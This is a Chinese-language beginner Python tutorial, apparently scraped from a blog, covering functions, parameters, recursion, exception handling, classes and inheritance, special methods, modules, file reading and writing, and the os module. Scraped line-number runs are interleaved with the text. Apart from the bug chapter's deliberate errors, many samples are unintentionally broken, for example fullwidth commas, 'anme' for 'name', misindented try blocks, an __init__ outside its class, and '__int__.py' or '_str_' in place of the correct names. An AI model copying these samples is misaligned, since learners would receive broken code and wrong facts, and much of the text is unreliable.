print(bool(1))#True 非零整数布尔值为True

def fun(num):
    odd = []#村奇数
    even = []#存偶数
    for i in num:
        if i % 2:
            odd.append(i)
        else:
            even.append(i)
    return odd,even
#函数的调用
lst = [10,29,34,23,44,53,55]
print(fun(lst))
'''函数的返回值
1.如果函数没有返回值（函数执行完毕后，不需要给调用处提供数据） return可以不写
2.函数的返回值，如果是1个，直接返回类型
3.函数的返回值，如果是多个，返回结果为元组'''

def fun1():
    print('hello')
    #return    
fun1()

def fun2():
   return 'hello'
res = fun2()
print(res)
    
def fun3():
    return 'hello','world'
print(fun3())
    
'''函数在定义时，是否需要返回值，视情况而定'''
# 3. 函数的参数定义
# （1）函数定义默认值参数
函数定义时，给形参设置默认值，只有与默认值不符的时候才需要传递实参。
1
2
3
4
5
6
7
8
9
10
11
def fun(a,b = 10):    #b默认值参数
    print(a,b)
#函数的调用
fun(100)
fun(20,30)

# def print(self, *args, sep='', end='\n',file=None):
print('hello')
print('world')
print('hello',end = '\t')
print('world')
# （2）个数可变的位置参数
定义函数时，可能无法事先确定传递的位置实参的个数时，使用可变的位置参数；使用 * 定义个数可变的位置形参；结果为一个元组。
1
2
3
4
5
6
7
def fun(*args):#函数定义时 可变的位置参数
    print(args)
    print(args[0])
    
fun(10)
fun(10,30)
fun(30,405,50)
# （3）个数可变的关键字形参
定义函数时，无法事先确定传递的关键字实参的个数时，使用可变的关键字形参；使用 ** 定义个数可变的关键字形参；结果为一个字典。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def fun1(**args):
    print(args)
    
fun1(a = 10)
fun1(a = 20,b=30,c=40)

'''def fun2(*args,*a):
pass
代码运行，程序报错，个数可变的位置参数，只能是一个
def fun3(**args,**args):
pass
代码运行，程序报错，个数可变的关键字参数，只能是一个'''

def fun2(*args1,**args2):
    pass
'''def fun3(**args1,*args2):
pass
在一个函数的定义过程中，既有个数可变的位置形参，也有个数可变的关键字形参，要求，个数可变的位置形参放在个数可变的关键字形参之前'''
# （4）函数的参数总结
1
2
3
4
5
6
7
8
9
10
11
12
13
def fun(a,b,c):
    print('a = ',a)
    print('b = ',b)
    print('c = ',c)

#函数的调用
fun(10,20,30)#函数调用时的参数传递，称为位置传参
lst = [11,22,33]
fun(*lst)#在函数调用时，将列表中的每个元素都转换成位置实参传入
print('----------------')
fun(a=100,c=300,b=200)#函数的调用，关键字实参
dic = {'a':111,'b':222,'c':333}
fun(**dic)#函数调用时，将字典中的键值对都转换成关键字实参传入
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def fun(a,b=10):#b是在函数的定义处，所以是形参，而且进行了赋值，所以是默认值形参
    print('a=',a)
    print('b=',b)
    
def fun2(*args):#个数可变的位置形参
print(args)
def fun3(**args2):#个数可变的关键字形参
    print(args2)
   
fun2(10,20,30,40)
fun3(a=11,b=22,c=33,d=44,e=55)

def fun4(a,b,c,d):
    print('a=',a)
    print('b=',b)
    print('c=',c)
    print('d=',d)

#调用fun4函数
fun4(10,20,30,40)#位置实参传递
fun4(a=10,b=20,c=30,d=40)#关键字实参传递
fun4(10,20,c=30,d=40)#前两个参数，采用位置实参传递，后两个参数采用关键字实参传递

'''需求：c，d只能采用关键字实参传递'''
#def fun4(a,b,*,c,d):从*之后的参数，在函数调用时，只能采用关键字参数传递
1
2
3
4
5
6
7
'''函数定义时的形参的顺序问题'''
def fun5(a,b,*,c,d,**args):
    pass
def fun6(*args,**args2):
    pass
def fun7(a,b=10,*args,**args2):
    pass
# 4. 变量的作用域
变量的作用域：程序代码能访问该变量的区域。根据变量的有效范围可以分为局部变量、全局变量。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def fun(a,b):
    c = a+b#c是局部变量，因为是在函数体内进行定义的；a，b为函数的形参，作用范围也是函数内部，相当于局部变量
    print(c)
#print(c)，因为a，c超出了起作用的范围（超出了作用域）
#print(a)

name ='杨老师'#name作用范围为函数的内部和外部都可以使用，全局变量
print(name)
def fun2():
    print(name)
#调用函数
fun2()

def fun3():
    global age#函数内部定义的变量，局部变量；局部变量使用global声明之后，这个变量实际上就变成了全局变量
    age = 20
    print(age)
fun3()
print(age)
# 5. 递归函数
什么是递归函数？
如果在一个函数的函数体内调用了该函数本身，这个函数就称为递归函数.
递归函数的组成部分：
递归调用条件与递归终止条件.
递归的调用过程：
每递归调用一次函数，都会在栈内存分配一个栈帧；每执行完一次函数，都会释放相应的空间.
递归的优缺点：
优点是思路和代码简单；缺点是占用内存多，效率低下.
1
2
3
4
5
6
7
8
9
'''使用递归计算阶乘'''
def fac(n):
    if n == 1:
        return 1
    else:
        res = n*fac(n-1)
        return res
    
print(fac(6))
# 6. 斐波那契数列
 $F_{n}=F_{n - 1}+F_{n-2}$ 
1
2
3
4
5
6
7
8
9
10
11
12
13
def fib(n):
    if n == 1:
        return 1
    elif n == 2:
        return 1
    else:
        return fib(n-1) + fib(n-2)
    
#斐波那契数列第六位
print(fib(6))
#斐波那契数列前六位(循环操作用列表)
for i in range(1,7):
    print(fib(i))
# 十二、全民来找茬
# 1. Bug 的由来及分类
**Bug 的由来：** 世界上第一部万用计算机的进化版 - 马克 2 号（Mark Ⅱ）
**Debug：** 排除程序 bug
Bug 的常见类型：
粗心导致的语法错误 SyntaxError
  1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
age = input('请输入你的年龄：')
print(type(age))
if age >= 18 :  #if int(age) >= 18:
    print('成年人...')
    
while i < 10:#i没有初始值，括号为中文状态的，缺少i += 1使程序进入循环状态
    print（i）
    
for i in range(3):
    uname = input('请输入用户名：')
    pwd = input('请输入密码：')
    if uname = 'admin' and pwd = 'admin': #一个 = 是赋值，两个 = 是比较
        print('登录成功！')
        break
    else
        print('输入有误')
else 
    print('对不起，三次均输入错误')
漏了末尾的冒号，如 if 语句，循环语句，else 子句等
缩进错误
把英文符号写成中文符号，比如：冒号，引号，括号
字符串拼接时候，把字符串和数字拼在一起
没有定义变量，比如说 while 的循环条件的变量
== 比较运算符和 = 赋值运算符的混用
知识点不熟练导致的错误
索引越界问题 IndexError
append ( ) 方法的使用掌握不熟练
  1
2
3
4
5
6
lst = [11,22,33,44]
print(lst[4]) #IndexError lst索引从0开始

lst = []
lst = append('A','B','C')
print(lst)#lst.append 且每次只能添加一个
思路不清导致的问题
使用 print () 函数
使用 “#” 暂时注释部分代码
  1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
'''豆瓣电影Top250排行,使用列表存储电影信息,要求输入名字在屏幕上娴熟xxx出演了哪部电影'''
lst = [{'rating':[9.7,2062397],'id':'1292052','type':['犯罪','剧情'],'title':'肖申克的救赎','actors':['蒂姆·罗宾斯','摩根·弗里曼']}
      {'rating':[9.6,1528760],'id':'1291546','type':['爱情','剧情','同性'],'title':'霸王别姬','actors':['张国荣','张丰毅','巩俐','葛优']}
      {'rating':[9.5,1559181],'id':'1292720','type':['剧情','爱情'],'title':'阿甘正传','actors':['汤姆·汉克斯','罗宾·怀特']}
      ]

name = input('请输入你要查询的演员:')
for item in lst:#遍历列表,得到一个{},item是一个又一个的字典
    act_lst = item['actors']
    for actor in act_lst:
        if name in actor:
            print(name,'出演了：',item['title'])
            
    '''for movie in item:#遍历字典,得到movie是一个字典中的key
        actors = movie['actors']       
        if name in actors:
            print(name + '出演了:' + movie)'''
            
第一层 for 循环遍历列表可以得到每一部电影，而每一部电影又是一个字典，只需要根据 key 在字典中取值即可。根据演员的键 actors 取出学员的列表，使用判断 name 在列表中是否存在，最后根据电影名称的键 title 取出电影的名称，进行输出。
被动掉坑：程序代码逻辑没有错，只是因为用户错误操作或者一些 “例外情况” 而导致的程序崩溃。
  1
2
3
4
5
6
7
'''输入两个整数并进行除法运算'''
a = input('请输入第一个整数：')
a = int(a)
b = input('请输入第二个整数：')
b = int(b)
result = a/b
print('结果为：',result)
# 2. 异常处理机制
# （1）try…except 结构、try…except…except 结构
1
2
3
4
5
6
7
8
9
10
11
12
13
try:
    n1 = int(input('请输入第一个整数：'))
    n2 = int('请输入第二个整数：')
    result = n1/n2
    print('结果为：',result)
except ZeroDivisionError:
    print('对不起，除数不允许为0')
except ValueError:
    print('只能输入数字串')
except BaseException as e:#except从子类到父类，最后可以增加BaseException
    print(e)
print('程序结束')
    
# （2）try…except…else 结构
如果 try 块中没有抛出异常，则执行 else 块，如果 try 中抛出异常，则执行 except 块。
1
2
3
4
5
6
7
8
try:
    a = int(input('请输入第一个整数：'))
b = int(input('请输入第二个整数：'))
result = a / b
except BaseException as e:
    print('出错了',e)
else:
    print('计算结果为：',result)
# （3）try…except…else…finally 结构
finally 块无论是否发生异常都会被执行，能常用来释放 try 块中申请的资源。
1
2
3
4
5
6
7
8
9
10
try:
    a = int(input('请输入第一个整数：'))
b = int(input('请输入第二个整数：'))
result = a / b
except BaseException as e:
    print('出错了',e)
else:
    print('计算结果为：',result)
finally:
    print('谢谢您的使用')
# （4）traceback 模块
使用 traceback 模块打印异常处理信息，存储 log 日志。
1
2
3
4
5
6
7
8
#print(10/0)

import traceback
try:
    print('------------------')
    print(1/0)
except:
    traceback.print_exc()
# 3. Python 常见的异常类型
序号 异常类型 描述
1 ZeroDivisionError 除（或取模）零（所有数据类型）
2 IndexError 序列中没有此索引（index）
3 KeyError 映射中没有这个键
4 NameError 未声明 / 初始化对象（没有属性）
5 SyntaxError Python 语法错误
6 ValueError 传入无效的参数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
'''ZeroDivisionError'''
print(10/0)
'''IndexError'''
lst = [11,22,33,44]
print(lst[4])
'''KeyError'''
dic = {'name':'张三','age':20}
print(dic['gender'])
'''NameError'''
print(num)
'''SyntaxError'''
int a = 20
'''ValueError'''
a = int('hello')
# 4. PyCharm 的调试模式
1
2
3
4
i = 1
while i <= 10:#设置断点进行调试
    print(i)
    i += 1
# 十三、找对象不积极，思想有问题
# 1. 两大编程思想
                     面向过程         面向对象     
             区别         事物比较简单，可以用线性的思维去解决         事物比较复杂，使用简单的线性思维无法解决     
              共同点                面向过程和面向对象都是解决实际问题的一种思维方式                 
                               二者相辅相成，并不是对立的；解决复杂问题，通过面向对象方式便于我们从宏观上把握事物之间复杂的关系、方便我们分析整个系统；具体到微观操作，仍然使用面向过程方式来处理。                 
  
# 2. 类和对象的创建
类是多个类似事物组成的群体的统称。能够帮助我们快速理解和判断事物的性质。
** 对象：** 不同数据类型属于不同的类，像 100、99、520 都是 int 类之下包含的相似的不同个例，这些个例专业术语称为实例或者对象。
# （1）类的创建
1
2
3
4
5
6
7
8
class Student:
    pass

'''Student类名由一个或多个单词组成，每个单词的首字母大写，其余小写'''
#Python中一切皆对象，Student是对象吗？内存由开空间吗？
print(id(Student))
print(type(Student))
print(Student)
类的组成：
类属性
实例方法
静态方法
类方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
class Student:
    native_pace = '吉林'#直接写在类里的变量，称为类属性
    def __init__(self,name,age):
        self.name = name#self,name称为实体属性，进行了一个赋值的操作，将局部变量name的值赋给实体属性
        self.age = age
   
#实例方法
    def eat(self):
        print('学生在吃饭...')
    #静态方法
    @staticmethod
    def method():
        print('我使用了staticmethod进行修饰，所以我是静态方法')
    #类方法
    @classmethod
    def cm(cls):
        print('我是类方法，因为我使用了classmethod进行修饰')
        
'''在类之外定义的称为函数，在类之内定义的称为方法
def drink();#函数
print('喝水')
'''
# （2）对象的创建
对象的创建又称为类的实例化：实例名 = 类名（）
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
class Student:
    native_pace = '吉林'#直接写在类里的变量，称为类属性
    def __init__(self,name,age):
        self.name = name#self,name称为实体属性，进行了一个赋值的操作，将局部变量name的值赋给实体属性
        self.age = age
   
#实例方法
    def eat(self):
        print('学生在吃饭...')
    #静态方法
    @staticmethod
    def method():
        print('我使用了staticmethod进行修饰，所以我是静态方法')
    #类方法
    @classmethod
    def cm(cls):
        print('我是类方法，因为我使用了classmethod进行修饰')
        
'''在类之外定义的称为函数，在类之内定义的称为方法
def drink();#函数
print('喝水')
'''

#创建Student类的对象
stu1 = Student('张三'，20)
stu1.eat()#对象名.方法名()
print(stu1.name)
print(stu1.age)
print('---------------------------')
print(id(stu1))
print(type(stu1))
print(stu1)
print('---------------------------')
print(id(Student))
print(type(Student))
print(Student)
print('--------------------------')
Student.eat(stu1)#类名.方法名(类的对象)与stu1.eat()一样，都是调用Student中的eat方法
# 3. 类属性、类方法、静态方法
** 类属性：** 类中方法外的变量称为类属性，被该类的所有对象所共享。
** 类方法：** 使用 @classmethod 修饰的方法，使用类名直接访问的方法。
** 静态方法：** 使用 @staticmethod 修饰的方法，使用类名直接访问的方法。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
class Student:
    native_pace = '吉林'#直接写在类里的变量，称为类属性
    def __init__(self,name,age):#初始化方法
        self.name = name#self,name称为实体属性，进行了一个赋值的操作，将局部变量name的值赋给实体属性
        self.age = age
   
#实例方法
    def eat(self):
        print('学生在吃饭...')
        
    #静态方法
    @staticmethod
    def method():
        print('我使用了staticmethod进行修饰，所以我是静态方法')
        
    #类方法
    @classmethod
    def cm(cls):
        print('我是类方法，因为我使用了classmethod进行修饰')

        
print('------------类属性的使用方法---------------')      
print(Student.native_pace)
stu1 = Student('张三',20)
stu2 = Student('李四',30)
print(stu1.native_pace)
print(stu2.native_pace)
Student.native_pace = '天津'
print(stu1.native_pace)
print(stu2.native_pace)
print('------------类方法的使用方式--------------')
Student.cm()
print('-----------静态方法的使用方式----------------')
Student.method()
# 4. 动态绑定属性和方法
Python 是动态语言，在创建对象后，可以动态地绑定属性和方法。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
class Student:
    def __init__(self,name,age):
        self.name = name
        self.age = age
    def eat(self):
        print(self.name + '在吃饭')
        
stu1 = Student('张三',20)
stu2 = Student('李四',30)
print(id(stu1))
print(id(stu2))
print('---------只给李四添加一个性别---------------')
stu2.gender = '女'
print(stu1.name,stu1.age)#如果添加stu1.gender会抛出AttributeError
print(stu2.name,stu2.age,stu2.gender)

print('-------------------------')
stu1.eat()
stu2.eat()

def show():
    print('定义在类之外地，称为函数')
stu1.show = show
stu1.show
#stu2.show因为stu2并没有绑定show方法
# 十四 、接着找对象
面向对象的三大特征：
封装：提高程序的安全性。（1）将数据（属性）和行为（方法）包装到类对象中，在方法内部对属性进行操作，在类对象的外部调用方法。这样，无需关心方法内部的具体实现细节，从而隔离了复杂度；（2）在 Python 中没有专门的修饰符用于属性的私有，如果该属性不希望在类对象外部被访问，前边使用两个 “__”；
继承：提高代码的复用性；
多态：提高程序的可扩展性和可维护性。
# 1. 封装
1
2
3
4
5
6
7
8
9
class Car:
    def __init__(self,brand):
        self.brand = brand
    def start(self):
        print('汽车已启动...')
        
car = Car('宝马X5')
car.start()
print(car,brand)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
class Student:
    def __init__(self,name,age):
        self.name = name
        self.__age = age #年龄age不希望在类的外部被使用，所以加了两个“_”
    def show(self):
        print(self.name,self.__age)

stu = Student('张三',20)
stu.show()
#在类的外部使用name与age
print(stu.name)
#print(stu.__age)
print(dir(stu))
print(stu._Student__age)#在类的外部可以通过_Student__age进行访问
# 2. 继承
** 继承的特点：** 如果一个类没有继承任何类，则默认继承 object；Python 支持多继承；定义子类时，必须在其构造函数中调用父类的构造函数。
1
2
3
#语法结构
class 子类类名(父类1，父类2...):
    pass
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
class Person(object):#Person继承object类
    def __init__(self,anme,age):
        self.name = name
        self.age = age
    def info(self):
        print(self.name,self.age)

class Student(Person):
    def __init__(self,name,age,stu_no):
        super().__init__(name,age)
        self.stu_no = stu_no
        
class Teacher(Person):
    def __init__(self,name,age,teachofyear):
        super().__init__(name,age)
        self.teachofyear = teachofyear
       
stu = Student('张三',20,'1001')
teacher = Teacher('李四'，34，10)

stu.info()
teacher.info()
1
2
3
4
5
6
class A(object):
    pass
class B(object):
    pass
class C(A,B):#Python支持多继承
    pass
# 3. 方法重写
如果子类对继承自父类的某个属性或方法不满意，可以在子类中对其（方法体）进行重新编写。
子类重写后的方法中可以通过 super ().xxx () 调用父类中被重写的方法。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
class Person(object):#Person继承object类
    def __init__(self,anme,age):
        self.name = name
        self.age = age
    def info(self):
        print(self.name,self.age)

class Student(Person):
    def __init__(self,name,age,stu_no):
        super().__init__(name,age)
        self.stu_no = stu_no
    def info(self):
        super().info()
        print(self.stu_no)
        
class Teacher(Person):
    def __init__(self,name,age,teachofyear):
        super().__init__(name,age)
        self.teachofyear = teachofyear
    def info(self):
        super().info()
        print('教龄',self.teachofyear)
       
stu = Student('张三',20,'1001')
teacher = Teacher('李四'，34，10)

stu.info()
teacher.info()
# 4. object 类
object 类是所有类的父类，因此所有类都有 object 类的属性和方法。
内置函数 dir () 可以查看指定对象所有属性。
Object 有一个_str_() 方法，用于返回一个对于 “对象的描述”，对应于内置函数 str () 经常用于 print () 方法，帮助我们查看对象的信息，所以我们经常会对_str_() 进行重写。
1
2
3
4
5
6
7
8
9
10
class Student:
   def __init__(self,name,age):
    self.name = name
    self.age = age
   def __str__(self):
    return '我的名字是{0}，今年{1}岁。'.format(self.name,self,age)
stu = Student('张三',20)
print(dir(stu))
print(stu)#默认调用__str__()方法
print(type(stu))
# 5. 多态
简单地说，多态就是 “具有多种形态”，它指的是：即便不知道一个变量所引用地对象到底是什么类型，仍然可以通过这个变量调用方法，在运行过程中根据变量所用对象的类型，动态决定调用哪个对象中的方法。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class Animal(object):
    def eat(self):
        print('动物会吃')
class Dog(Animal):
    def eat(self):
        print('狗吃骨头...')
class Cat(Animal):
    def eat(self):
        print('猫吃鱼...')
        
class Person:
    def eat(self):
        print('人吃五谷杂粮')
        
#定义一个函数
def fun(obj):
    obj.eat()
#开始调用函数
fun(Cat())
fun(Dog())
fun(Animal())
print('-----------------------')
fun(Person())
静态语言和动态语言关于多态的区别：
静态语言实现多态的三个必要条件：继承，方法重写，父类引用指向子类对象，例如 Java。
动态语言的多态崇尚 “鸭子类型”。当看到一只鸟走起来像鸭子、游泳起来像鸭子，那么这只鸟就可以被称为鸭子。在鸭子类型中，不需要关心对象是什么类型，到底是不是鸭子，只关心对象的行为。
# 6. 特殊方法和特殊属性
                         名称            描述      
             特殊属性         __dict()__         获得类对象或者实例对象所绑定的所有属性和方法的字典     
                    特殊方法         __len__()         通过重写__len__()方法，让内置函数len()的参数可以是自定义类型     
                __add__()          通过重写__add__()方法，可以使用自定义对象具有“+”功能     
                __new__()          用于创建对象     
               __init__()          对创建的对象进行初始化     
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
'''特殊属性'''
print(dir(object))
class A:
    pass
class B:
    pass
class C(A,B):
    def __init__(self,name,age):
        self.name = name
        self.age = age
class D(A):
    pass
#创建C类的对象
x = C('Jack',20)#x是C类型的一个实例对象
print(x.__dict__)#实例对象的属性字典
print(C.__dict__)
print('-------------------------')
print(x.__class__)#输出对象所属的类
print(C.__bases__)#输出C类的父类类型的元素
print(C.__base__)#输出类的基类
print(C.__mro__)#类的层次结构
print(A.__subclasses__())#输出A的子类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
'''特殊方法'''
a = 20
b = 100
c = a+b#两个int类型的对象相加操作
d = a.__add__(b)
print(c)
print(d)

class Student:
    def __init__(self,name):
        self.name = name
    def __add__(self,other):
        return self.name + other.name
    def __len__(self):
        return len(self.name)
stu1 = Student('Jack')
stu2 = Student('李四')

s = stu1 + stu2#实现了两个对象的加法运算（因为在Student类中，编写了__add__(）特殊的方法
print(s)
s = stu1.__add__(stu2)
print(s)

print('----------------------------')
lst = [11,22,33,44]
print(len(lst))
print(lst.__len__())
print(len(stu1))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
'''__new__()和__init__()'''
class Person(object):
    
    def __new__(cls,*args,**kwargs):#9360
        print('__new__()被调用执行了，cls的id值为{0}'.format(id(cls)))
        obj = super().__new__(cls)
        print('创建的对象的id值为{0}'.format(id(obj)))#7104
        return obj
def __init__(self,name,age):
        print('__init__被调用了，self的id值为：{0}'.format(id(self)))#7104
        self.name = name
        self.age = age
        
print('object这个类对象的id为：{0}'.format(id(object)))#3232
print('Person这个类对象的id为：{0}'.format(id(Person)))#9360

#创建Person类的实例对象
p1 = Person('张三',20)
print('p1这个Person类的实例对象的id为：{0}'.format(id(p1)))#7104
# 7. 类的浅拷贝与深拷贝
** 变量的赋值操作：** 只是形成两个变量，实际上还是指向同一个对象。
** 浅拷贝：**Python 拷贝一般都是浅拷贝，拷贝时，对象包含的子对象内容不拷贝。因此，源对象与拷贝对象会引用同一个子对象。
** 深拷贝：** 使用 copy 模块的 deepcopy 函数，递归拷贝对象中包含的子对象，源对象和拷贝对象所有的子对象也不相同。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
class CPU:
    pass
class Disk:
    pass
class Computer:
    def __init__(self,cpu,disk):
        self.cpu = cpu
        self.disk = disk
        
#(1)变量的赋值
cpu1 = CPU()
cpu2 = cpu1
print(cpu1,id(cpu1))
print(cpu2,id(cpu2))
#(2)类的浅拷贝
print('-------------------')
disk = Disk()#创建一个硬盘类的对象
computer = Computer(cpu1,disk)#创建一个计算机类的对象
#浅拷贝
import copy
computer2 = copy.copy(computer)
print(disk)
print(computer,computer.cpu,computer.disk)
print(computer2,computer2.cpu,computer2.disk)
print('---------------------')
#深拷贝
computer3 = copy.deepcopy(computer)
print(computer,computer.cpu,computer.disk)
print(computer3,computer3.cpu,computer3.disk)
# 十五、百宝箱
# 1. 什么叫模块？
模块（modules）：
一个模块中可以包含 N 多个函数
在 Python 中一个扩展名为 .py 的文件就是一个模块
使用模块的好处方便其他程序和脚本的导入并使用
避免函数名和变量名的冲突
提高代码的可维护性
提高代码的可重用性
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def fun():
    pass
def fun2():
    pass
class Student:
    native_place = '吉林'#类属性
    def eat(self):
        pass
    @classmethod
    def cm(cls):
        pass
    @staticmethod
    def sm():
        pass
    

a = 10 
b = 20 
print(a,b)
# 2. 自定义模块
导入模块
import模块名称[as 别名]
from模块名称import函数 / 变量 / 类
1
2
3
4
5
6
7
8
9
import math
print(id(math))
print(type(math))
print(dir(math))

from math import pi
from math import pow
print(pi)
print(pow(2,3))
1
2
3
4
5
6
7
#自定义模块
def add(a,b):
    return a+b
def div(a,b):
    return a/b
#如何导入自定义模块
'''pycharm右键MarkDirectory as SourcesRoot'''
# 3. 以主程序的形式执行
在每个模块的定义中都包括一个记录模块名称的变量_name_，程序可以检查该变量，以确定他们在哪个模块执行，如果一个模块不是被导入到其他程序中执行，那么它可能在解释器的顶端模块中执行。顶端模块的_name_变量的值为_main_
1
2
3
4
5
def add(a,b):
    return a+b

if __name__ == '__main__':
    print(add(10,20))#只有当点击运行calc2模块时才会执行运算
1
2
import calc2
print(calc2.add(100,200))
# 4. Python 中的包
包是一个分层次的目录结构，它将一组功能相近的模块组织在一个目录下。
** 作用：** 代码规范；避免模块名称冲突
** 包与目录的区别：** 包含__int__.py 文件的目录叫作包；目录里通常不包含__int__.py 文件
1
2
3
4
5
6
7
8
9
#单击右键，创建-Python Package

import package
import calc
#使用import导入时只能跟包名和模块名

from package import modelA
from package.modelA import a
#使用from...import可以导入包，模块，函数变量等
# 5. Python 中常见的内置模块
模块名 描述
sys 与 Python 解释器及其环境操作相关的标准库
time 提供与时间相关的各种函数的标准库
os 提供了访问操作系统服务功能的标准库
calendar 提供与日期相关的各种函数的标准库
urllib 用于读取来自网上（服务器）的数据标准库
json 用于使用 JSON 序列化和反序列化对象
re 用于在字符串中执行正则表达式匹配和替换
math 提供标准算术运算函数的标准库
decimal 用于进行精确控制运算精度、有效数位和四舍五入操作的十进制运算
logging 提供了灵活的记录事件、错误、警告和调试信息等日志信息的功能
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import sys
import time
import urllib.request
import math

print(sys.getsizeof(24))
print(sys.getsizeof(45))
print(sys.getsizeof(True))
print(sys.getsizeof(False))

print(time.time())
print(time.localtime(time.time()))

print(urllib.request.urlopen('http://www.baidu.com').read())

print(math.pi)
# 6. 第三方模块的安装及使用
1
2
3
4
#DOS
pip install schedule
python
import schedule
1
2
3
4
5
6
7
8
9
10
import schedule
import time

def job():
    print('哈哈-----')
    
schedule.every(3).seconds.do(job)
while True:
    schedule.run_pending()
    time.sleep(1)
# 十六、大宝藏
# 1. 编码格式介绍
常见的字符编码格式：
Python 的解释器使用的是 Unicode（内存）
.py 文件咋磁盘上使用 UTF-8 存储（外存）
# 2. 文件的读写原理
文件的读写俗称 “IO 操作”
Python 操作文件 →打开或新建文件夹→读写文件→关闭资源
# 3. 文件读写操作
1
2
3
file = open('a.txt','r')
print(file.readlines())#结果是一个list
file.close()
打开模式 描述
r 只读模式打开文件，文件指针将会放在文件的开头
w 只写模式打开文件，如果文件不存在则创建；如果文件存在，则覆盖原有内容，指针放在文件开头
a 追加模式打开文件，如果文件不存在则创建，文件指针在文件开头；如果文件存在，则在文件末尾追加内容，文件指针在原文件末尾
b 二进制方式打开文件，不能单独使用，需要与其他模式一起使用，rb 或者 wb
+ 读写模式打开文件，不能单独使用，需要与其他模式一起使用，a+
1
2
3
4
5
6
7
file = open('b.txt','w')
file.write('Python')
file.close()

file = open('b.txt','a')
file.write('Python')
file.close()
1
2
3
4
5
src_file = open('logo.png','rb')
target_file = open('copylogo.png','wb')
target_file.write(src_file.read())
target_file.close()
src_file.close()
# 4. 文件对象常用的方法
方法名 说明
read([size]) 从文件中读取 size 个字节或字符的内容返回，若省略 [size]，则读取到文件末尾，一次读取文件所有内容
readline() 从文本文件中读取一行内容
readlines() 把文本文件中每一行都作为独立的字符串对象，并将这些对象放入列表返回
write(str) 将字符串 str 内容写入文件
writelines(s_list) 将字符串列表 s_list 写入文本文件，不添加换行符
seek(offset[,whence]) 把文件指针移动到新的位置，offset 表示相对 whence 的位置；offset 为正往结束方向移动，为负往开始方向移动。whence 不同的值代表不同含义：0 从文件头开始计算，1 从当前位置开始计算；2 从文件末尾开始计算
tell() 返回文件指针的当前位置
flush() 把缓冲区的内容写入文件，但不关闭文件
close() 把缓冲区的内容写入文件，同时关闭文件，释放文件对象相关资源
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
file = open('a.txt','r')
print(file.read(2))
print(file.readline())
print(file.readlines())
file.close()

file = open('c.txt','a')
file.write('hello')
lst = ['java','go','python']
file.writelines(lst)
file.close()

file = open('c.txt','r')
file.seek(2)#一个中文两个字节
print(file.read())
print(file.tell())
file.close()

file = open('c.txt','a')
file.write('hello')
file.flush()
file.write('world')
file.close()
# 5. with 语句（上下文管理器）
with 语句可以自动管理上下文资源，不论什么原因跳出 with 块，都能确保文件正确的关闭，以此来达到释放资源的目的。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
print(type(open('a.txt','r')))
with open('a.txt','r') as file:
    print(file.read())

'''MyContentMgr实现了特殊方法__enter__(),__exit__()称为该类对象遵守了上下文管理器协议。
该类对象的实例对象，称为上下文管理器

MyContentMgr()'''
class MyContentMgr(object):
    def __enter__(self):
        print('enter方法被调用执行了')
        return self
    
    def __exit__(self,exc_type,exc_val,exc_tb):
        print('exit方法被调用执行了')
        
    def show(self):
        print('show方法被调用执行了')
with MyContentMgr() as file:
    file.show()
1
2
3
4
#文件的复制
with open('logo.png','rb') as src_file:
    with open('copy2logo.png','wb') as target_file:
        target_file.write(src_file.read())
# 6. 目录操作
# （1）os 模块
os 模块是 Python 内置的与操作系统功能和文件系统相关的模块，该模块中的语句的执行结果通常与操作系统有关，在不同的操作系统上运行，得到的结果可能不一样。
os 模块与 os.path 模块用于对目录或文件进行操作。
1
2
3
4
5
6
#os模块与操作系统相关的一个模块
import os
os.system('notepad.exe')
os.system('calc.exe')
#直接调用可执行文件
os.startfile('D:\\YesPlayMusic\\YesPlayMusic.exe')
函数 说明
getcwd() 返回当前的工作目录
listdir() 返回指定路径下的文件和目录信息
mkdir(path[,mode]) 创建目录
makedirs(path1/path2…[,mode]) 创建多级目录
rmdir(path) 删除目录
removedirs(path1/path2…) 删除多级目录
chdir(path) 将 path 设置成当前工作目录
1
2
3
4
5
6
7
8
9
10
11
12
13
import os
print(os.getcwd())

os.listdir('../chap15')#办公自动化经常使用
print(lst)

os.mkdir('newdir2')
os.makedirs('A/B/C')
os.rmdir('newdir2')
os.removedirs('A/B/C')

os.chdir('F:\\desktop\\chap14')
print(os.getcwd())
# （2）os.path 模块
函数 说明
abspath(path) 用于获取文件或目录的绝对路径
exists(path) 用于判断文件或目录是否存在，如果存在返回 True，否则返回 False
join(path,name) 将目录与目录或者文件名拼接起来
splitext() 分离文件名和扩展名
basename(path) 从一个目录中提取文件名
dirname(path) 从一个路径中提取文件路径，不包括文件名
isdir(path) 用于判断是否为路径
1
2
3
4
5
6
7
8
9
import os.path
print(os.path.abspath('demo13.py'))
print(os.path.exists('demo13.py'),os.path.exists('demo18.py'))
print(os.path.join('E:\\Python','demo13.py'))
